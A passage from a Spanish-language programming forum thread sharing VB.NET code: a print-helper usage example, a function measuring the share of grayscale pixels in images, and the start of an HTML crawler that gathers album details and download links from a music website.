printExpert.PrinterSettings = New PrinterSettings With {
.PrinterName = "My Printer Name"
}
printExpert.BeginPrintEventHandler = AddressOf PrintDocument_BeginPrint
printExpert.QueryPageSettingsEventHandler = AddressOf PrintDocument_QueryPageSettings
printExpert.PrintPageEventHandler = AddressOf PrintDocument_PrintPage
printExpert.EndPrintEventHandler = AddressOf PrintDocument_EndPrint
printExpert.Print()
End Using
End Sub
Public Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
End Sub
Public Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
End Sub
Public Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs)
' Page settings.
Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
Dim brush As New SolidBrush(Color.Green)
Dim stringFormat As New StringFormat()
Dim leftMargin As Single = e.MarginBounds.Left
Dim topMargin As Single = e.MarginBounds.Top
' Calculate the number of lines per page.
Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
' Iterate over the file, printing each line.
Dim line As String = Nothing
Dim count As Integer
While (count < linesPerPage)
line = printExpert.DocumentStream.ReadLine()
If (line Is Nothing) Then
Exit While
End If
Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
count += 1
End While
font.Dispose()
brush.Dispose()
stringFormat.Dispose()
' If more lines exist, print another page.
e.HasMorePages = (line IsNot Nothing)
End Sub
Public Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs)
End Sub
End Module
MODO DE EMPLEO ALTERNATIVO:
Public Sub Main()
Dim printExpert As PrintDocumentExpert = Nothing
Dim beginPrintEventHandler As PrintEventHandler =
Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
End Sub
Dim queryPageSettingsEventHandler As QueryPageSettingsEventHandler =
Sub(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs)
End Sub
Dim printPageEventHandler As PrintPageEventHandler =
Sub(ByVal sender As Object, ByVal e As PrintPageEventArgs)
' Page settings.
Dim font As New Font("Arial", 10.0F, FontStyle.Regular)
Dim brush As New SolidBrush(Color.Green)
Dim stringFormat As New StringFormat()
Dim leftMargin As Single = e.MarginBounds.Left
Dim topMargin As Single = e.MarginBounds.Top
' Calculate the number of lines per page.
Dim linesPerPage As Single = (e.MarginBounds.Height / font.GetHeight(e.Graphics))
' Iterate over the file, printing each line.
Dim line As String = Nothing
Dim count As Integer
While (count < linesPerPage)
line = printExpert.DocumentStream.ReadLine()
If (line Is Nothing) Then
Exit While
End If
Dim yPos As Single = (topMargin + count * font.GetHeight(e.Graphics))
e.Graphics.DrawString(line, font, brush, leftMargin, yPos, stringFormat)
count += 1
End While
font.Dispose()
brush.Dispose()
stringFormat.Dispose()
' If more lines exist, print another page.
e.HasMorePages = (line IsNot Nothing)
End Sub
Dim endPrintEventHandler As PrintEventHandler =
Sub(ByVal sender As Object, ByVal e As PrintEventArgs)
End Sub
printExpert = New PrintDocumentExpert("C:\Document.txt", Encoding.Default)
Using printExpert
printExpert.PrinterSettings = New PrinterSettings With {
.PrinterName = "My Printer Name"
}
printExpert.BeginPrintEventHandler = beginPrintEventHandler
printExpert.QueryPageSettingsEventHandler = queryPageSettingsEventHandler
printExpert.PrintPageEventHandler = printPageEventHandler
printExpert.EndPrintEventHandler = endPrintEventHandler
printExpert.Print()
End Using
End Sub
¿Cómo determinar el porcentaje de escala de grises (a.k.a Grayscale ) en una imagen? El siguiente algoritmo sirve para determinar el porcentaje de presencia de escala de grises en una imagen, y con ese pocertaje el programador puede tener la libertad de considerar si la imagen es en escala de grises o no lo es; por ejemplo si una imagen de 256x256px de compone de un 80% de píxeles con color en escala de grises (es decir ROJO = VERDE = AZUL), quizás queramos tratar ese tipo de imagen como una imagen en escala de grises, aunque solo lo sea parcialmente.
La necesidad de usar esta metodología basada en porcentajes tiene un buen motivo, y es que cualquier imagen desaturada probablemente la querramos considerar como una imagen en escala de grises, aunque por definición no lo sea, como por ejemplo estas imagenes de aquí abajo las cuales NO son en escala de grises (la paleta entera de colores)...
(https://media.giphy.com/media/arxpbcz7poAMw/giphy.gif) (http://38.media.tumblr.com/d908298b5aecf35b935a13350e1382e5/tumblr_ml1jv8Aw2C1rzqhqro1_500.gif) (http://gifimage.net/wp-content/uploads/2017/08/pretty-gif-13.gif)
(http://gifimage.net/wp-content/uploads/2017/09/anime-black-and-white-gif-14.gif) (https://lh3.googleusercontent.com/-255xLRGKV7Y/VdiA1n5n0wI/AAAAAAAAB4c/rHUjhVR5lSU/w426-h238/Goku%2527s%2BHD%2BGoodbye.gif)
son imágenes desaturadas pero probablemente ese tipo de imágenes las querramos considerar como escala de grises en muchos escenarios para diferenciarlas del resto de imágenes...¿verdad?, es por ello que este tipo de metodología me pareció más útil y versatil para necesidades generales, aunque obviamente es un procedmiento más lento que otros al tener que analizar pixel por pixel para calcular un porcentaje de presencia de píxeles en escala de grises...
En fin, aquí abajo os dejo el código, pero debo avisar de que todavía NO está del todo acabado ni perfeccionado, me falta refactorizarlo y arreglar algunas pequeñas cosas, como por ejemplo aumentar la compatibilidad de formatos, analizar los píxeles del padding del stride ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa473780(v=vs.85).aspx ), y tener en cuenta imágenes GIF con múltiples dimensiones (que no frames). Pero por el momento este código es algo que funciona bien para obtener los resultados esperados dentro de un margen de error aceptable, así que es una solución más que suficiente para los escenarios más simples y comunes.EDITO: código mejorado
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
''' then calculates a percentage of the total grayscale presence in the image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
'''
''' Using img As Image = Image.FromFile(file.FullName)
''' Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
''' Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
'''
''' Console.WriteLine(strFormat)
''' End Using
'''
''' Next file
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="img">
''' The source image.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting percentage of grayscale pixels in the source image.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image) As Double
Return GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Analyzes each pixel of the spcified image, counts all the pixels that are within the grayscale RGB range,
''' then calculates a percentage of the total grayscale presence in the image.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
'''
''' Using img As Image = Image.FromFile(file.FullName)
''' Dim percent As Double = GetGrayScalePixelPercentOfImage(img, dimensionIndex:=0)
''' Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
'''
''' Console.WriteLine(strFormat)
''' End Using
'''
''' Next file
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="img">
''' The source image.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting percentage of grayscale pixels in the source image.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GetGrayScalePixelPercentOfImage(ByVal img As Image, ByVal dimensionIndex As Integer) As Double
Select Case img.PixelFormat
Case Imaging.PixelFormat.Format16bppGrayScale
Return 100.0R
Case Else
Dim bmp As Bitmap = DirectCast(img, Bitmap)
Dim pixelFormat As Imaging.PixelFormat = Imaging.PixelFormat.Format32bppArgb
Dim bytesPerPixel As Integer = 4 ' PixelFormat.Format32bppArgb
Dim pixelCount As Integer = (bmp.Width * bmp.Height)
Dim framesGrayscalePercents As New List(Of Double)
Dim dimensionCount As Integer = bmp.FrameDimensionsList.Count
If (dimensionIndex > (dimensionCount - 1))Then
Throw New IndexOutOfRangeException("The specified 'dimensionIndex' value is greater than the dimension count in the source image.")
End If
Dim frameDimension As New FrameDimension(bmp.FrameDimensionsList(dimensionIndex))
Dim frameCount As Integer = bmp.GetFrameCount(frameDimension)
For frameIndex As Integer = 0 To (frameCount - 1)
bmp.SelectActiveFrame(frameDimension, frameIndex)
' Lock the bitmap bits.
Dim rect As New Rectangle(Point.Empty, bmp.Size)
Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, pixelFormat)
' Get the address of the first row.
Dim address As IntPtr = bmpData.Scan0
' Declare an array to hold the bytes of the bitmap.
Dim numBytes As Integer = (Math.Abs(bmpData.Stride) * rect.Height)
Dim rawImageData As Byte() = New Byte(numBytes - 1) {}
' Copy the RGB values into the array.
Marshal.Copy(address, rawImageData, 0, numBytes)
' Unlock the bitmap bits.
bmp.UnlockBits(bmpData)
' Iterate the pixels.
Dim grayscalePixelCount As Long ' of current frame.
For i As Integer = 0 To (rawImageData.Length - bytesPerPixel) Step bytesPerPixel
' Dim alpha As Byte = rawImageData(i + 3)
Dim red As Byte = rawImageData(i + 2)
Dim green As Byte = rawImageData(i + 1)
Dim blue As Byte = rawImageData(i)
If (red = green) AndAlso (green = blue) AndAlso (blue = red) Then
grayscalePixelCount += 1
End If
Next i
Dim frameGrayscalePercent As Double = ((grayscalePixelCount / pixelCount) * 100)
framesGrayscalePercents.Add(frameGrayscalePercent)
grayscalePixelCount = 0
Next frameIndex
Return (framesGrayscalePercents.Sum() / frameCount)
End Select
End FunctionEjemplo de uso:
For Each file As FileInfo In New DirectoryInfo("C:\Images").EnumerateFiles("*.gif", SearchOption.TopDirectoryOnly)
Using img As Image = Image.FromFile(file.FullName)
Dim percent As Double = GetGrayScalePixelPercentOfImage(img)
Dim strFormat As String = String.Format("[{0,6:F2} %]: {1}", percent, file.Name)
Console.WriteLine(strFormat)
End Using
Next fileSalida de ejecución:
Cita de: Visual Studio
...
[100.00%]: 3066279034_22e5cf9106_o.gif
[ 0.00%]: 32.gif
[ 3.30%]: 3680650203a3998289_f47a.gif
[ 8.11%]: 3Gg9L8.gif
[100.00%]: 3mp3z4riv4.gif
[ 1.14%]: 4291d5bb0f6574cdd24dfbf8962f2f28-p1.gif
[ 2.22%]: 4e3149ff0114b_af0234434ffb9e48ce1edc3af6ce1a2c.gif
[ 13.42%]: 4e4d24314abf8_d4acae20ee9fe20f019927b098a8e8e6.gif
[ 28.13%]: 4e7b20c8d03fc_e93059b97d764b1681534f714c318ba7.gif
[ 4.43%]: 4e92c46d124de_aa5135da3b32b8eee8a80aa2a2550f5d.gif
[ 0.68%]: 5055.gif
[100.00%]: 506c602fd749e_a2c439e67bf77d03ba94a914d8927f4a.gif
[100.00%]: 511d0b2580b20_abd567e0d431dd00bb7bc162eb4d171c.gif
[ 2.34%]: 520374123e3d3_285a501b39852024a053090a304647ca.gif
[ 2.74%]: 543ea44def8f2_a3e09112b3710ce306ddf167991604e1.gif
...
¿Cómo determinar si una imagen está en escala de grises? Si buscan una solución más sofisticada que la mia hecha en WinForms, recomiendo encarecidamente usar este código en WPF:
- StackOverflow.com: How to determine if an Image is Grayscale in C# or VB.NET? (https://stackoverflow.com/a/49481035/1248295)
Su solución y la mia tienen distintos objetivos aunque a priori parezcan "lo mismo", su solución tiene como propósito determinar si una imagen es en escala de grises por definición, mientras que la mia lo que hace es determinar el porcentaje de presencia de píxeles en escala de grises de una imagen, y por ello su solución devolverá resultados "inesperados" según el tipo de imagen (imagen en blanco y negro, en colores vivos, escala de grises, o simples imagenes desaturadas), pero eso no quita que su solución sea EXCELENTE, de hecho, es mucho mejor que mi solución en el caso de que no deseamos considerar imágenes desaturadas como escala de grises sino que solo queramos trabajar con imágenes en escala de grises por definición técnica.
Saludos!
Comparto el código fuente de FHM Crawler, mejorado y documentado... (bueno, me he visto obligado a simplificar y recortar la documentación por el límite de caracteres del foro)
Aquí el programa original:
- https://foro.elhacker.net/net/sourcecode_fhm_crawler_freehardmusiccom-t482152.0.html
Aquí el nuevo algoritmo reutilizable:
AlbumInfo.vb
#Region " Imports "
Imports System.Collections.ObjectModel
#End Region
Namespace FHM
''' <summary>Represents the information of an album crawled with <see cref="FHM.Crawler"/>.</summary>
Public NotInheritable Class AlbumInfo
#Region " Properties "
''' <summary>Gets the album identifier (that is used in the 'sobiid' and 'sobi2id' parameters).</summary>
Public ReadOnly Property Id As String
''' <summary>Gets the album <see cref="Uri"/>.</summary>
Public ReadOnly Property Uri As Uri
''' <summary>Gets the artist name.</summary>
Public ReadOnly Property Artist As String
''' <summary>Gets the album title.</summary>
Public ReadOnly Property Title As String
''' <summary>Gets the country of the band/artist.</summary>
Public ReadOnly Property Country As String
''' <summary>Gets the music genre.</summary>
Public ReadOnly Property Genre As String
''' <summary>Gets the year that the album has been released.</summary>
Public ReadOnly Property Year As Integer
''' <summary>Gets the urls to download the album. It can be a single url, or multiple of them.</summary>
Public ReadOnly Property DownloadLinks As ReadOnlyCollection(Of String)
#End Region
#Region " Constructors "
Private Sub New()
End Sub
''' <summary>Initializes a new instance of the <see cref="AlbumInfo"/> class.</summary>
''' <param name="id">The album identifier>.</param>
''' <param name="uri">The album <see cref="Uri"/>.</param>
''' <param name="artist">The artist name.</param>
''' <param name="title">The album title.</param>
''' <param name="country">The country of the band/artist.</param>
''' <param name="genre">The music genre.</param>
''' <param name="year">The year that the album has been released.</param>
''' <param name="downloadLinks">The urls to download the album. It can be a single url, or multiple of them.</param>
Public Sub New(id As String, uri As Uri,
artist As String, title As String,
country As String, genre As String, year As Integer,
downloadLinks As IEnumerable(Of String))
Me.Id = id
Me.Uri = uri
Me.Artist = artist
Me.Title = title
Me.Country = country
Me.Genre = genre
Me.Year = year
Me.DownloadLinks = New ReadOnlyCollection(Of String)(downloadLinks)
End Sub
#End Region
End Class
End NamespaceSearchQuery.vb
#Region " Imports "
Imports System.Collections.Specialized
Imports ElektroKit.Core.Extensions.NameValueCollection
#End Region
Namespace FHM
''' <summary>Represents a search query of the http://freehardmusic.com/ website,
''' that is managed by the <see cref="FHM.Crawler.FetchAlbums()"/>
''' and <see cref="FHM.Crawler.FetchAlbumsAsync()"/> methods.
''' <para></para>
''' Note that a search query can be performed in two different ways:
''' <para></para>
''' 1. An artist-name based search (<see cref="SearchQuery.Artist"/>).
''' <para></para>
''' 2. A non-artist name based search. That is, a custom search based on country (<see cref="SearchQuery.Country"/>),
''' genre (<see cref="SearchQuery.Genre"/>) or year criterias (<see cref="SearchQuery.Year"/>);
''' this kind of search can combine the three mentioned criterias, but not the artist name (<see cref="SearchQuery.Artist"/>).
Public NotInheritable Class SearchQuery
#Region " Properties "
''' <summary>Gets or sets the artist name.</summary>
Public Property Artist As String
Get
Return Me.artistB
End Get
<DebuggerStepThrough>
Set(value As String)
If Not (Me.countryB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
Not (Me.genreB.Equals("all", StringComparison.OrdinalIgnoreCase)) OrElse
Not (Me.yearB.Equals("all", StringComparison.OrdinalIgnoreCase)) Then
Throw New ArgumentException("To perform an artist-name based search, you must set the value of Country, Genre and Year properties to ""all"" before setting the Artist property.", paramName:=NameOf(value))
End If
Me.artistB = value
End Set
End Property
Private artistB As String
''' <summary>Gets or sets the country of the band/artist.</summary>
Public Property Country As String
Get
Return Me.countryB
End Get
<DebuggerStepThrough>
Set(value As String)
If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
Throw New ArgumentException("To perform a country based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
End If
Me.countryB = value
End Set
End Property
Private countryB As String
''' <summary>Gets or sets the music genre.</summary>
Public Property Genre As String
Get
Return Me.genreB
End Get
<DebuggerStepThrough>
Set(value As String)
If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
Throw New ArgumentException("To perform a genre based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
End If
Me.genreB = value
End Set
End Property
Private genreB As String
''' <summary>Gets or sets the year that the album has been released.</summary>
Public Property Year As String
Get
Return Me.yearB
End Get
<DebuggerStepThrough>
Set(value As String)
If Not (value.Equals("all", StringComparison.OrdinalIgnoreCase)) AndAlso Not String.IsNullOrEmpty(Me.artistB) Then
Throw New ArgumentException("To perform a year based search, you must set the value of Artist property to an empty string.", paramName:=NameOf(value))
End If
Me.yearB = value
End Set
End Property
Private yearB As String
''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
Public ReadOnly Property Uri As Uri
Get
Return Me.Uri(searchPage:=0)
End Get
End Property
''' <summary>Gets the <see cref="Uri"/> that represents this search query.</summary>
''' <param name="searchPage">The index of the search page parameter.</param>
Public ReadOnly Property Uri(searchPage As Integer) As Uri
Get
Return New Uri(Me.ToString(searchPage), UriKind.Absolute)
End Get
End Property
#End Region
#Region " Constructors "
Private Sub New()
End Sub
''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
''' <param name="artist">The artist name.</param>
Public Sub New(artist As String)
Me.artistB = artist
Me.genreB = "all"
Me.countryB = "all"
Me.yearB = "all"
End Sub
''' <summary>Initializes a new instance of the <see cref="SearchQuery"/> class.</summary>
''' <param name="genre">The music genre. Default value is: "all"</param>
''' <param name="country">The country of the band/artist. Default value is: "all"</param>
''' <param name="year">The year that the album has been released. Default value is: "all"</param>
Public Sub New(Optional genre As String = "all",
Optional country As String = "all",
Optional year As String = "all")
Me.artistB = ""
Me.genreB = genre
Me.countryB = country
Me.yearB = year
End Sub
#End Region
#Region " Public Methods "
''' <summary>Resets the current search query to its default values.</summary>
<DebuggerStepThrough>
Public Sub Reset()
Me.Artist = ""
Me.Country = "all"
Me.Genre = "all"
Me.Year = "all"
End Sub
''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
''' <returns>A <see cref="String"/> that represents the search query.</returns>
Public Overrides Function ToString() As String
Return Me.ToString(searchPage:=0)
End Function
''' <summary>Returns a <see cref="String"/> that represents the search query.</summary>
''' <param name="searchPage">The index of the search page parameter.</param>
''' <returns>A <see cref="String"/> that represents the search query.</returns>
Public Overloads Function ToString(searchPage As Integer) As String
If (searchPage < 0) Then
Throw New ArgumentException("Positive integer value is required.", paramName:=NameOf(searchPage))
End If
Dim params As New NameValueCollection From {
{"field_band", Me.Artist},
{"field_country", Me.Country},
{"field_genre", Me.Genre},
{"field_year", Me.Year},
{"option", "com_sobi2"},
{"search", "Search"},
{"searchphrase", "exact"},
{"sobi2Search", ""},
{"sobi2Task", "axSearch"},
{"SobiCatSelected_0", "0"},
{"sobiCid", "0"},
{"SobiSearchPage", searchPage}
}
Return params.ToQueryString(New Uri("http://freehardmusic.com/index.php"))
End Function
#End Region
End Class
End NamespacePageCrawlBeginEventArgs.vb
Namespace FHM
''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlBegin"/> event.</summary>
Public NotInheritable Class PageCrawlBeginEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>Gets the search query used.</summary>
Public ReadOnly Property SearchQuery As SearchQuery
''' <summary>Gets the index of the search page being crawled.</summary>
Public ReadOnly Property SearchPage As Integer
#End Region
#Region " Constructors "
Private Sub New()
End Sub
''' <summary>Initializes a new instance of the <see cref="PageCrawlBeginEventArgs"/> class.</summary>
''' <param name="searchQuery">The search query used.</param>
''' <param name="searchPage">The index of the search page.</param>
Public Sub New(searchQuery As SearchQuery, searchPage As Integer)
Me.SearchQuery = searchQuery
Me.SearchPage = searchPage
End Sub
#End Region
End Class
End NamespacePageCrawlEndEventArgs.vb
Namespace FHM
''' <summary>Represents the event data of the <see cref="FHM.Crawler.PageCrawlEnd"/> event.</summary>
Public NotInheritable Class PageCrawlEndEventArgs : Inherits EventArgs
#Region " Properties "
''' <summary>Gets the search query used.</summary>
Public ReadOnly Property SearchQuery As SearchQuery
''' <summary>Gets the index of the search page crawled.</summary>
Public ReadOnly Property SearchPage As Integer
''' <summary>Gets a collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</summary>
Public ReadOnly Property Albums As ReadOnlyCollection(Of AlbumInfo)
#End Region
#Region " Constructors "
Private Sub New()
End Sub
''' <summary>Initializes a new instance of the <see cref="PageCrawlEndEventArgs"/> class.</summary>
''' <param name="searchQuery">The search query used.</param>
''' <param name="searchPage">The index of the search page crawled.</param>
''' <param name="albums">A collection of <see cref="AlbumInfo"/> that contains the information of the albums that were crawled.</param>
Public Sub New(searchQuery As SearchQuery, searchPage As Integer, albums As ICollection(Of AlbumInfo))
Me.SearchQuery = searchQuery
Me.SearchPage = searchPage
Me.Albums = New ReadOnlyCollection(Of AlbumInfo)(albums)
End Sub
#End Region
End Class
End NamespaceCrawler.vb
#Region " Imports "
Imports System.Collections.Specialized
Imports System.Text.RegularExpressions
Imports HtmlDocument = HtmlAgilityPack.HtmlDocument
Imports HtmlNode = HtmlAgilityPack.HtmlNode
Imports HtmlNodeCollection = HtmlAgilityPack.HtmlNodeCollection
Imports ElektroKit.Core.Extensions.NameValueCollection
#End Region
Namespace FHM
''' <summary>A crawler that searchs and collect albums (its download links) from the http://freehardmusic.com/ website.</summary>
Public Class Crawler : Implements IDisposable
#Region " Private Fields "
''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/".</summary>
Protected ReadOnly uriBase As New Uri("http://freehardmusic.com/")
''' <summary>The <see cref="Uri"/> that points to "http://freehardmusic.com/index2.php".</summary>
Protected ReadOnly uriIndex As New Uri(Me.uriBase, "/index2.php")
''' <summary>Flag that determines whether this <see cref="Crawler"/> is busy in a pending fetch operation.</summary>
Protected isFetching As Boolean
''' <summary>The <see cref="CancellationToken"/> instance that cancels a pending fetch operation
''' started by a call of <see cref="Crawler.FetchAlbumsAsync()"/>.</summary>
Protected cancelToken As CancellationToken
''' <summary>The <see cref="CancellationTokenSource"/> instance that signals to <see cref="Crawler.cancelToken"/>.</summary>
Protected cancelTokenSrc As CancellationTokenSource
#End Region
#Region " Properties "
''' <summary>Gets the search query.</summary>
Public ReadOnly Property SearchQuery As SearchQuery
#End Region
#Region " Events "
''' <summary>Occurs when a page is about to be crawled.</summary>
Public Event PageCrawlBegin As EventHandler(Of PageCrawlBeginEventArgs)
''' <summary>Occurs when a page is crawled.</summary>
Public Event PageCrawlEnd As EventHandler(Of PageCrawlEndEventArgs)
#End Region
#Region " Constructors "
''' <summary>Initializes a new instance of the <see cref="Crawler"/> class.</summary>
Public Sub New()
Me.SearchQuery = New SearchQuery()
Me.cancelTokenSrc = New CancellationTokenSource()
Me.cancelToken = Me.cancelTokenSrc.Token
End Sub
#End Region
#Region " Public Methods "
''' <summary>Gets the count of the albums found using the current search query.</summary>
''' <returns>The count of the albums found using the current search query.</returns>
<DebuggerStepThrough>
Public Overridable Function GetAlbumCount() As Integer
Dim t As Task(Of Integer) = Task.Run(Of Integer)(AddressOf Me.GetAlbumCountAsync)
t.Wait()
Return t.Result
End Function
''' <summary>Asynchronously gets the count of the albums found using the current search query.</summary>
''' <returns>The count of the albums found using the current search query.</returns>
<DebuggerStepThrough>
Public Overridable Async Function GetAlbumCountAsync() As Task(Of Integer)
Dim query As String = Me.SearchQuery.ToString(searchPage:=0)
Dim uriSearch As New Uri(query)
Dim htmlSourceCode As String = String.Empty
Using wc As New WebClient
htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
End Using
Dim htmldoc As New HtmlDocument
htmldoc.LoadHtml(htmlSourceCode)
Dim xPathResultString As String = "//div[@id='mainbody']/table[1]/tr[2]/td"
Dim node As HtmlNode = htmldoc.DocumentNode.SelectSingleNode(xPathResultString)
Dim text As String = node.InnerText
text = Regex.Replace(text, "\n", "", RegexOptions.None) ' Remove new lines.
text = Regex.Replace(text, "\t", " "c, RegexOptions.None) ' Replace tabs for white-spaces.
text = Regex.Replace(text, "\s+", " "c, RegexOptions.None) ' Replace duplicated white-spaces.
Dim albumCount As Integer = CInt(Regex.Match(text, "\d+", RegexOptions.None).Value)
Return albumCount
End Function
''' <summary>Fetch any album found using the current search query.</summary>
<DebuggerStepThrough>
Public Overridable Sub FetchAlbums()
Dim t As Task = Task.Run(AddressOf Me.FetchAlbumsAsync)
t.Wait()
End Sub
''' <summary>Asynchronously fetch any album found using the current search query.</summary>
''' <returns>Returns <see langword="False"/> if the fetch operation was canceled by a call to
''' <see cref="Crawler.CancelFetchAlbumsAsync()"/> method.</returns>
<DebuggerStepThrough>
Public Overridable Async Function FetchAlbumsAsync() As Task(Of Boolean)
If (Me.isFetching) Then
Throw New Exception("Another fetch operation is already running in background.")
End If
Me.isFetching = True
Me.cancelTokenSrc.Dispose()
Me.cancelTokenSrc = New CancellationTokenSource()
Me.cancelToken = Me.cancelTokenSrc.Token
Dim albumCount As Integer = Await Me.GetAlbumCountAsync()
If (albumCount = 0) Then
Me.isFetching = False
Return True
End If
Dim maxPages As Integer = ((albumCount \ 10) + 1) ' 10 albums per page.
For i As Integer = 0 To (maxPages - 1)
Dim query As String = Me.SearchQuery.ToString(searchPage:=i)
Dim uriSearch As New Uri(query)
Dim htmlSourceCode As String = String.Empty
Using wc As New WebClient
htmlSourceCode = Await wc.DownloadStringTaskAsync(uriSearch)
End Using
If (Me.cancelToken.IsCancellationRequested) Then
Me.isFetching = False
Return False
End If
Me.OnPageCrawlBegin(New PageCrawlBeginEventArgs(Me.SearchQuery, i))
Await Me.ParseHtmlSourceCode(i, htmlSourceCode)
Next i
Me.isFetching = False
Return True
End Function
''' <summary>Aborts a pending fetch operation started by a call to <see cref="Crawler.FetchAlbumsAsync()"/> function.</summary>
<DebuggerStepThrough>
Public Sub CancelFetchAlbumsAsync()
If Not (Me.isFetching) Then
Throw New Exception("No fetch operation is running.")
End If
If (Me.cancelToken.IsCancellationRequested) Then
' Handle redundant cancellation calls to CancelFetchAlbums()...
Me.cancelToken.ThrowIfCancellationRequested()
End If
Me.cancelTokenSrc.Cancel()
End Sub
''' <summary>Resets the current search query (<see cref="Crawler.SearchQuery"/>) to its default values.</summary>
<DebuggerStepThrough>
Public Sub ResetSearchQuery()
Me.SearchQuery.Reset()
End Sub
#End Region
#Region " Event-Invocators "
''' <summary>Raises the <see cref="Crawler.PageCrawlBegin"/> event.</summary>
''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
Protected Overridable Sub OnPageCrawlBegin(e As PageCrawlBeginEventArgs)
If (Me.PageCrawlBeginEvent IsNot Nothing) Then
RaiseEvent PageCrawlBegin(Me, e)
End If
End Sub
''' <summary>Raises the <see cref="Crawler.PageCrawlEnd"/> event.</summary>
''' <param name="e">The <see cref="PageCrawlBeginEventArgs"/> instance containing the event data.</param>
Protected Overridable Sub OnPageCrawlEnd(e As PageCrawlEndEventArgs)
If (Me.PageCrawlEndEvent IsNot Nothing) Then
RaiseEvent PageCrawlEnd(Me, e)
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>Parses the html source code to crawl the albums.</summary>
''' <param name="searchPage">The index of the search page.</param>
''' <param name="htmlSourceCode">The html source code to parse.</param>
''' <returns>Returns <see langword="True"/> if the operation succed; otherwise, <see langword="False"/>.</returns>
<DebuggerStepperBoundary>
Private Async Function ParseHtmlSourceCode(searchPage As Integer, htmlSourceCode As String) As Task(Of Boolean)
Dim albums As New Collection(Of AlbumInfo)
Dim xPathTable As String = "//table[@class='vicard']"
Dim xPathArtist As String = ".//tr/td/span[@class='sobi2Listing_field_band']"
Dim xPathCountry As String = ".//table[@class='vicard2']/tr/td[@class='goods']/table[@class='goods']/tr/td/img"
Dim xPathGenre As String = ".//tr[3]/td/table/tr/td[2]/table/tr/td"
Dim xPathYear As String = ".//tr/td/span[@class='sobi2Listing_field_year']"
Dim xPathTitle As String = ".//tr/td/p[@class='sobi2ItemTitle']/a[@title]"
Dim xPathUrl As String = ".//table[@class='vicard2']/tr/td/a[@href]"
Dim htmldoc As New HtmlDocument
Try
htmldoc.LoadHtml(htmlSourceCode)
Catch ex As Exception
Return False
End Try
Dim nodes As HtmlNodeCollection = htmldoc.DocumentNode.SelectNodes(xPathTable)
If (nodes.Count = 0) Then
Return False
End If
For Each node As HtmlNode In nodes
Dim artist As String
Dim title As String
Dim country As String
Dim genre As String
Dim year As String
Dim albumId As String
Dim albumUrl As String
Try
artist = node.SelectSingleNode(xPathArtist).InnerText
artist = Encoding.UTF8.GetString(Encoding.Default.GetBytes(artist))
artist = HttpUtility.HtmlDecode(artist)
artist = New CultureInfo("en-US").TextInfo.ToTitleCase(artist.Trim(" "c).ToLower())
Catch ex As Exception
artist = "unknown"
End Try
Try
title = node.SelectSingleNode(xPathTitle).GetAttributeValue("title", "")
title = Encoding.UTF8.GetString(Encoding.Default.GetBytes(title))
title = HttpUtility.HtmlDecode(title)
title = New CultureInfo("en-US").TextInfo.ToTitleCase(title.Trim(" "c).ToLower())
Catch ex As Exception
title = "unknown"
End Try
Try
country = node.SelectSingleNode(xPathCountry).GetAttributeValue("src", "unknown")
country = Path.GetFileNameWithoutExtension(country)
country = New CultureInfo("en-US").TextInfo.ToTitleCase(country.ToLower())
Catch ex As Exception
country = "unknown"
End Try
Try
genre = node.SelectSingleNode(xPathGenre).InnerText
genre = Regex.Replace(genre, "\n", "", RegexOptions.None) ' Remove new lines.
genre = Regex.Replace(genre, "\t", " "c, RegexOptions.None) ' Replace tabs for white-spaces.
